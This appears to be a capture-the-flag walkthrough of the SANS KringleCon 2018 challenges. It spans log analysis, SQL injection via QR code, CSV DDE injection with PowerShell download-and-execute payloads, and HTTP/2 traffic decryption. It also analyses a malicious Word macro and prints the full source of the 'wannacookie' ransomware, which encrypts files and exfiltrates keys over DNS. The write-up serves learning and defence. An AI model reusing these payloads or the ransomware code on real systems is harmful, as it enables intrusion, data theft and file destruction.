      2 <Data Name="CallerProcessName">C:\Program Files\Microsoft\Exchange Server\V15\Bin\
      8 <Data Name="CallerProcessName">C:\Windows\System32\VSSVC.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\System32\dfsrs.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\System32\iashost.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\System32\inetsrv\inetinfo.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\System32\lsass.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\System32\mqsvc.exe</Data>
     12 <Data Name="CallerProcessName">C:\Windows\System32\svchost.exe</Data>
      2 <Data Name="CallerProcessName">C:\Windows\WID\Binn\sqlwriter.exe</Data>
      1 <Data Name="LogonProcessName">-</Data>
    305 <Data Name="LogonProcessName">Advapi  </Data>
     22 <Data Name="LogonProcessName">Authz   </Data>
     58 <Data Name="LogonProcessName">C</Data>
    471 <Data Name="LogonProcessName">Kerberos</Data>
    109 <Data Name="LogonProcessName">NtLmSsp </Data>
      2 <Data Name="LogonProcessName">User32 </Data>
      1 <Data Name="NewProcessName">C:\Windows\System32\autochk.exe</Data>
      2 <Data Name="NewProcessName">C:\Windows\System32\csrss.exe</Data>
      1 <Data Name="NewProcessName">C:\Windows\System32\lsass.exe</Data>
      1 <Data Name="NewProcessName">C:\Windows\System32\services.exe</Data>
      3 <Data Name="NewProcessName">C:\Windows\System32\smss.exe</Data>
      1 <Data Name="NewProcessName">C:\Windows\System32\wininit.exe</Data>
      1 <Data Name="NewProcessName">C:\Windows\System32\winlogon.exe</Data>
      1 <Data Name="ParentProcessName"></Data>
      7 <Data Name="ParentProcessName">C:\Windows\System32\smss.exe</Data>
      2 <Data Name="ParentProcessName">C:\Windows\System32\wininit.exe</Data>
    580 <Data Name="ProcessName">-</Data>
      1 <Data Name="ProcessName"></Data>
      1 <Data Name="ProcessName">C:\Program Files\Microsoft\Exchange Server\V15\Bin\EdgeTr
     93 <Data Name="ProcessName">C:\Program Files\Microsoft\Exchange Server\V15\Bin\MSExch
      1 <Data Name="ProcessName">C:\Windows\System32\inetsrv\inetinfo.exe</Data>
    242 <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
     31 <Data Name="ProcessName">C:\Windows\System32\services.exe</Data>
     19 <Data Name="ProcessName">C:\Windows\System32\svchost.exe</Data>
      2 <Data Name="ProcessName">C:\Windows\System32\winlogon.exe</Data>

Most of these didn’t reveal anything super obvious. In the end I just got a count of the TargetUserName fields and narrowed it down the one of the following three based on entry attempts that occured more then once

    2 <Data Name="TargetUserName">bushy.evergreen</Data>
    2 <Data Name="TargetUserName">minty.candycane</Data>
    2 <Data Name="TargetUserName">shinny.upatree</Data>
    3 <Data Name="TargetUserName">sparkle.redberry</Data>

The answer of minty.candycane ended up being correct, but I feel like I missed another really obvious way to solve this one

Whose account was successfully accessed by the attacker's password spray? minty.candycane


Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?


Story Challenges

The Story challenges could be found at

Orientation Challenge

What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.


The answers were all available from the Introduction video KringleCon - Ed Skoudis, KringleCon 2018: Start Here

  1. In 2015, the Dosis siblings asked for help understanding what piece of their “Gnome in Your Home” toy?

    • Firmware
    • Clothing
    • Wireless Adapter
    • Flux capacitor
  2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

    • Elgnirk
    • ATNAS
    • GIYH
    • Savvy, Inc.
  3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

    • Tom-tom drums
    • DNA on a mug of milk
    • Cookie crumbs
    • Business card
  4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

    • Snozberry Pi
    • Blueberry Pi
    • Cranberry Pi
    • Elderberry Pi  
  5. In 2017, the North Pole was being bombarded by giant objects. What were they?

    • TCP packets
    • Snowballs
    • Misfit toys
    • Candy canes  
  6. In 2017, Sam the snowman needed help reassembling pages torn from what?

    • The Bash man page
    • Scrooge’s Payroll ledger
    • System swap space
    • The Great Book

Directory Browsing

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.


Doing an analysis on and sure enough we have directory navigation

Found the rejected talks list. The only line connected in that CSV was the one below

qmt3	2	8040424	200	FALSE	FALSE	John	McClane	Director of Security	Data Loss for Rainbow Teams: A Path in the Darkness	1	11

This confirmed the answer: John McClane

de Bruijn Sequences

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker? For hints on achieving this objective, please visit Tangle Coalbox and help him with the Lethal ForensicELFication Cranberry Pi terminal challenge.

I had a bit of experience with de Bruijn Sequences and loaded up OWASP ZAP to do some fuzzing.

I used a really simple regex under the String payload option for the URL that was being used to interact with the door. ([0-3][0-3][0-3][0-3])

With the URL We’re simply replacing the 0000 with a value of 0-9 * 4

Our answer eventually was 0120 with a return payload of the following:

{"success":true,"resourceId":"undefined","hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703","message":"Correct guess!"}

Data Repo Analysis

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.

We’ve got another git challenge! I did some light exploration using just the commit history initially and found two interesting things


Private Key! Not sure what this is for but lets keep it safe for now.

Picture of Hans Gruber from Die Hard.. interesting :)

And ventilation schematics. Zip file needs a password though.

finally, a file called with the following contents

Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
Hopefully this is the last time we have to change our password again until next Christmas.
Password = 'Yippee-ki-yay'
Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

I used the password Yippee-ki-yay to unzip the vent schematics. Which happened to be the answer!

I also recieved the following ventilation diagrams that would also assist me getting through the Google Vent Challenge (without a lot of mapping in Excel).

AD Privilege Discovery

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

This challenge required the VM at

I made good use of the BloodHound - Analyzing Active Directory Trust Relationships video to get a good understanding how the software worked.

I booted up the VM and opened BloodHound. From there I selected Shortest Paths to Domain Admins from Kerberoastable Users

Remembering that RDP should be avoided I selected the only user path that didn’t have RDP on-route

The answer I got here was LDUBEJ00320@AD.KRINGLECASTLE.COM

Badge Manipulation

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Looks like a QR code challenge, we are allowed to upload images

I made extensive use of the OWASP post about Authentication Bypass.

To start with I tried to upload a simple SQL injection to OR a 1 for a true outcome

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1\")","request":false}

Bingo! We can do injection using a QR code properly.

I changed the command slightly 0' OR 1 -- -

{"data":"Authorized User Account Has Been Disabled!","request":false}

No luck, we’ll try to write out a complete command maybe? 0'; SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 -- -

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '; update employees set enabled = true where 'a' <> 'b -- -' LIMIT 1' at line 1\")","request":false}

The LIMIT 1 is breaking out injection :(

After a little more reading, I found that you can use a UNION to circumnavigate this and ended up with the following command

SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'UNION SELECT 1,1, TABLE_SCHEMA FROM information_schema.TABLES UNION SELECT 1,1,' 1

The account ID that works is 19880715

HR Incident Response

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with “K”? For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.

We know that the document we want is C:\candidate_evaluation.docx.

I made extensive use of KringleCon 2018 - Brian Hostetler, CSV DDE Injection: Pwn Web Apps Like a Ninja for this challenge.

So it looks like we can definetly just submit a raw command in a CSV entry by prefixing it with =cmd

I was also able to confirm this worked by adding a reverse hyperlink request (returning cells within Excel).

web request to :

=HYPERLINK(""&A2&A3&A4&A5, "Please click to update")

Next I rabbit-holed a bit and tried to push a copy of netcat to the box and pop a shell

Neither of these worked, however they did work locally when I tested.

=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"\");powershell -e $e 9001 -e cmd.exe'!A1

=HYPERLINK(""&A2&A3&A4&A5, "Please click to update")

This is the wrong path to go down, I went back and had a look at the Video by Brian Hostetler and noticed an interesting line in the slides

Looks like the client might be blocking outboard communication so the reverse shell isn’t going to work.

I also remembered when I errored the page out one time I saw the path for the website was exposed in the error page

So lets make a command that will move the file for us.

Copy-Item -Path C:\candidate_evaluation.docx -Destination C:\careerportal\resources\public\pwned_you.docx

=cmd|'/c powershell.exe -w hidden $e=Copy-Item -Path C:\candidate_evaluation.docx -Destination C:\careerportal\resources\public\pwned_you.docx;powershell -e $e'!A1

Then navigating to returns the candidate_evaluation.docx file

The candidate that was linked to Cyber terrorism was Krampus

The organization was Fancy Beaver

Network Traffic Forensics

Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.

Hint Video KringleCon - Chris Davis & Chris Elgee, HTTP2: Because 1 is the Loneliest Number

Navigate to

Lets try to view the traffic with OWASP ZAP


Unknown ALPN Protocol, expected `h2` to be available.
If this is a HTTP request: The server was not configured with the `allowHTTP1` option or a listener for the `unknownProtocol` event.

Hmm ok, lets check the source code. There’s an odd library reference over port 80

I ran a curl with http2 specified: curl -v --http2

I created an account and logged into it:

nathanglover / / nathan

I ran a traffic scan. Then downloaded the PCAP

Unfortunately the data is all encrypted

Lets log our SSL keys and launch the site again, logging in and running another packet capture.

chrome -incognito --ssl-key-log-file="$HOME/Downloads/shhc/SSL_KEYS.txt" --new-window ""

We download our PCAP again. Now we also have the SSL keys we used when interacting with the site. We specify this file to Wireshark when viewing the PCAP

Seems there is nothing useful there. Dead-end. Went back to the sites html and found the following

app.js hey?

The interesting parts of the file are the following

const log = console.log;
const print = log;
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time


router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.body='Not Found';
} catch (e) {

The __dirname + process.env.DEV + process.env.SSLKEYLOGFILE are loaded and then later on when verification is done trying to prevent us from directory navigation there’s an OR statement process.env[dir] || '/pub/'

Trying to validate to a URL with that SSLKEYLOGFILE path results in the commandline variable printing to error output

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

This reveals the name of the file we’re looking for in /dev/. Available at

CLIENT_RANDOM B17935B0495B585335DBE388A125ECB303B2133DD3811E24D50E686E4F54E0DC FEAB653C823B532CFC8805C67C2E54B8245AC0AB65954BBCDD2A1976F93B4B9FA700FF41A4337F9A52B86DA975471E37
CLIENT_RANDOM 9879D16AA525F06DAC3771237A9AB85C2CC4E79531769F570FD88696148B3AB5 5421F7C8A02EA041C1E1B75019B6683E21D5BFE26F1D793E9DE77F966F95FBB3B69A35C3CB61160D458A14170EBF69A3
CLIENT_RANDOM 61C13A7A53A95F9B413383D564842C0E713AAB95E179EC0C8A9ED64A56EC11B3 6ED1F03048AE8074C9E4E2E156CBCE6C2D53933B9CE77AABC6BD35F9055235CD3473E9C30CEAFC47774F845D53B83E58
CLIENT_RANDOM 3D45BECB8C425B2719033D1F19D7A6608561E01116F122498611E77877DD189B C4E91F9134DD54BAE719B7F6EEFC9DEDE31975A5AB93279345D9C12AEF86594301F3D1581057E620C761FAE91BEC82A7
CLIENT_RANDOM 828E26260E6A7FED1D5C2C91EA1375B7F3C6A540813CA55ECBD93307EB9EE256 091E9557F00AA1CEA74332E0FEB2B316B4C1D848556059540560F98F26D46C1673BF6328ABA5AE3DF5D974DD10C5E238
CLIENT_RANDOM 8152F33D20D62F02262B77F754C26CD23F11951A8538049B9BBC4516656F2B01 F83E80B328AB72A3BEE981C3FF6FFAD1AECC7ED515771A074B90EA167FEB9FEFBD3F47D6821EEA66C42F3E03E31216D5
CLIENT_RANDOM CE37033E25EFDB65E09393FC7B78260FF0BD0C4AFEF8F092A2EF8D094FB6A4F9 202DCE67BDB5745E655FB64F1CCC08FC0F9B2FA06810687354B036CBD932C9D01ADB15DA9DA7B50D3883CF04FADF5F42
CLIENT_RANDOM EA8359FE253184AA5DD5522D727E3A553C4878699E574BF0ECC3A49C92313CEB 5602B5B8B5F6E7F93BD0C3C5CE92ADD68EFBA41213D41F33DBAEFA002A2813823002E3BBEB01D38FEEA6BD48F2B1C151
CLIENT_RANDOM 593F95F275898CC261EE05D79719360F642B7FCC8521FDB5206A2735B1B9B457 A08EBA80A533BF2144BB02893776029BCB753694B43CB3C73B10F98CD0117AB82D6916C3DAAE84476CC94C72D2785A47
CLIENT_RANDOM F21A7A841360D25A33F2043C1676C5B7E1BB6B27C674A8EE5102536A16495EA7 9EE07BBA19145D8CE192F912084CC739E3273096565C63070587A83FAC7AEBB753F9A5F1B3198BC9B6BCDB1D6E78C872
CLIENT_RANDOM 53AEE3918567F6209C9D8BD0ED56301C956C3F6FAE65C88960661E3F656ADA09 5B8F41AB2CC92D66BE48AB780535FE3174B90A1EF37EA38D551DEE6E44CC8D736B27A119B292BFB4A7C0FE2BD5CF9635
CLIENT_RANDOM F5A37D02120A6D1C6F18B8F20AEC770498D037C2700800F0AA5605F6FE49FF89 D9FC3CC139E7E6368D8764A8CFD0FDDC54B147D8E97D29734995613F9AAC4D237DCF19058E81639F04E84162BC8BBFD7
CLIENT_RANDOM DF2384DD45A99164CF489EDFCDA4075616D268DAAD529B1A102D1B7714FD1DB1 06F4B751AFB3549860BA219D6ABA1E7A3234EB111C6EB53E32886E6A23753164C5E6CCB36916671BB5D3ADE9ACF3FB43

These are a list of our SSL keys that are saved when we do packet captures. We can use this inplace of the ones we generated before and used with Chrome.

I logged in as alabaster and dowloaded his super_secret_packet_capture.pcap

This base64 encoded data can be converted into a PDF attachment

Catch the Malware

Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell LotteryCranberry Pi terminal challenge.

To start, assist Alabaster by accessing (clicking) the snort terminal below:

Snort logs available at

We can add new snort rules to /etc/snort/rules/

All the odd traffic comes in under the 77616E6E61636F6F6B69652E6D696E2E707331 prefix

I created a simple expression to just alert on any domains under that prefix.

nano /etc/snort/rules/local.rules

alert udp any any -> any any (msg:"Suspicious DNS lookup for 77616E6E61636F6F6B69652E6D696E2E707331*"; content:"|26|77616E6E61636F6F6B69652E6D696E2E707331"; nocase; distance:0; sid:9000000; rev:0;)

The correct answer was Congratulation! Snort is alerting on all ransomware and only the ransomware!

Identify the Domain

After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?

We were given a file within a zip called CHOCOLATE_CHIP_COOKIE_RECIPE

I installed

Then using this video I followed the instructions to dump the hidden macros. KringleCon 2018 - Chris Davis, Analyzing PowerShell Malware


I retrieved the following block command

Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

Lets just use Powershell to return what we want (remove the iex and out to file)

powershell.exe -ExecutionPolicy Bypass -C "sal a New
-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSw
.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1"

The output commands

function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10) - 1)) {$h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings}; iex($(H2A $h | Out-string))

############## Beautified ##############

function H2A($a) {
	$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$o = $o + $_}
	return $o

$f = "77616E6E61636F6F6B69652E6D696E2E707331"
$h = ""

foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10) - 1)) {
	$h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings

iex($(H2A $h | Out-string))

This gives us the domain

Stop the Malware

Analyze the full malware source code to find a kill-switch and activate it at the North Pole’s domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?

For this I loaded the powershell from the previous step into ISE in Windows with breakpoints on the $h value in the foreach

We step over until we get a value in $h


This is hex encoded. We decode it

 $functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembl

This is only part of it, we need to get to the end of the foreach loop to fully populate the $h variable

foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server -Name "$" -Type TXT).strings, 10) - 1)) {
	$h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings

Out-string $h

This decodes to a massive block of code below. This is ultimately the malware and resembles WannaCry.

$functions = {
    function e_d_file($key, $File, $enc_it) {
        [byte[]]$key = $key;
        $Suffix = "`.wannacookie";
        [System.Int32]$KeySize = $key.Length*8;
        $AESP = New-Object 'System.Security.Cryptography.AesManaged';
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
        $AESP.BlockSize = 128;
        $AESP.KeySize = $KeySize;
        $AESP.Key = $key;
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
        if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
        if ($enc_it) {$AESP.GenerateIV();
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
        $Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($LenIV,  0, 3) | Out-Null;
        [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);
        [Byte[]]$IV = New-Object Byte[] $LIV;
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($IV, 0, $LIV) | Out-Null;
        $AESP.IV = $IV;
        $Transform = $AESP.CreateDecryptor()};
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
        [Int]$Count = 0;
        [Int]$BlockSzBts = $AESP.BlockSize / 8;
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
        Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);
        $CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);
        Clear-variable -Name "key";
        Remove-Item $File

function H2B {
    $HX = $HX -split '(..)' | ? { $_ };
    ForEach ($value in $HX){[Convert]::ToInt32($value,16)}

function A2H(){
    $c = '';
    $b = $a.ToCharArray();
    Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};
    return $c -replace ' '

function H2A() {
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};
    return $outa

function B2H {
    $tmp = '';
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
    return $tmp

function ti_rox {param($b1, $b2);
    $b1 = $(H2B $b1);
    $b2 = $(H2B $b2);
    $cont = New-Object Byte[] $b1.count;
    if ($b1.count -eq $b2.count) {
        for($i=0; $i -lt $b1.count ; $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
    return $cont

function B2G {param([byte[]]$Data);
    Process {
        $out = [System.IO.MemoryStream]::new();
        $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);
        $gStream.Write($Data, 0, $Data.Length);
        return $out.ToArray()

function G2B {param([byte[]]$Data);
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data );
        $output = New-Object System.IO.MemoryStream;
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
        $gStream.CopyTo( $output );
        [byte[]] $byteArr = $output.ToArray();
        return $byteArr

function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder;

function p_k_e($key_bytes, [byte[]]$pub_bytes){
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
    return $(B2H $encKey)

function e_n_d {
    param($key, $allfiles, $make_cookie );
    $tcount = 12;
    for ( $file=0; $file -lt $allfiles.length; $file++ ) {
        while ($true) {
            $running = @(Get-Job | Where-Object { $_.State -eq 'Running'
    if ($running.Count -le $tcount) {
        Start-Job  -ScriptBlock {
            param($key, $File, $true_false);
            try{e_d_file $key $File $true_false}
            catch {
                $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
        } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;
    } else {Start-Sleep -m 200;

function g_o_dns($f) {
    $h = '';
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server -Name "$" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server -Name "$i.$" -Type TXT).Strings
    return (H2A $h)

function s_2_c($astring, $size=32) {
    $new_arr = @();
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size));
        $chunk_index += $size
    return $new_arr

function snd_k($enc_k) {
    $chunks = (s_2_c $enc_k );
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $n_c_id = $(Resolve-DnsName -Server -Name "$" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server -Name "$n_c_id.$" -Type TXT).Strings
    return $n_c_id

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server -Name -Type TXT).Strings))).ToString() -ErrorAction 0 -Server {
    if ($(netstat -ano | Select-String "").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
    $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
    $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});
    $h_k = $(B2H $b_k);
    $k_h = $(sh1 $h_k);
    $p_k_e_k = (p_k_e $b_k $p_k).ToString();
    $c_id = (snd_k $p_k_e_k);
    $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
    [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
    e_n_d $b_k $f_c $true;
    Clear-variable -Name "h_k";
    Clear-variable -Name "b_k";
    $lurl = '';
    $html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html"));
    'GET /close'  =  '<p>Bye!</p>'};
    Start-Job -ScriptBlock{param($url);
    Start-Sleep 10;
    Add-type -AssemblyName System.Windows.Forms;
    start-process "$url" -WindowStyle Maximized;
    Start-sleep 2;
    [System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;
    $list = New-Object System.Net.HttpListener;
    try {
            $close = $false;
        while ($list.IsListening) {
            $context = $list.GetContext();
        $Req = $context.Request;
        $Resp = $context.Response;
        $recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;
        if ($recvd -eq 'GET /') {
            $html = $html_c[$recvd]
        } elseif ($recvd -eq 'GET /decrypt') {
            $akey = $Req.QueryString.Item("key");
        if ($k_h -eq $(sh1 $akey)) {
            $akey = $(H2B $akey);
            [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
            e_n_d $akey $f_c $false;
            $html = "Files have been decrypted!";
            $close = $true
        } else {
            $html = "Invalid Key!"
        }} elseif (
            $recvd -eq 'GET /close') {
                $close = $true;
            $html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {
                $c_n_k = $(Resolve-DnsName -Server -Name ("$".trim()) -Type TXT).Strings;
            if ( $c_n_k.length -eq 32 ) {
                $html = $c_n_k} else {
                    $html = "UNPAID|$c_id|$d_t"}
                } else {
                    $Resp.statuscode = 404;
            $html = '<h1>404 Not Found</h1>'};
            $buffer = [Text.Encoding]::UTF8.GetBytes($html);
            $Resp.ContentLength64 = $buffer.length;
            $Resp.OutputStream.Write($buffer, 0, $buffer.length);
        if ($close) {
    }} finally {

I then run the debugger on the line in wanc

We have out domain!

The answer is Successfully registered yippeekiyaa.aaay!

Recover Alabaster’s Password

After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster’s password database. What is the password entered in the database for the Vault entry?

For this challenge I used the power_dump tool

ld powershell.exe_181109_104716.dmp

We’ll process the memory dump

It found things we could process

Save for quick processing. Lets search for variables

Dumped out values with the word Key. Finding what looks like is probably the value of $p_k_e_k


We know that we can get the server.crt file by using the g_o_dns("7365727665722E637274") function, but it also turns out that we can craft a request to where 7365727665722e6b6579 is just hex encoded server.key

This gives us our private key


Next we converted the hex value for $p_k_e_k to binary code using the following Python code

import base64
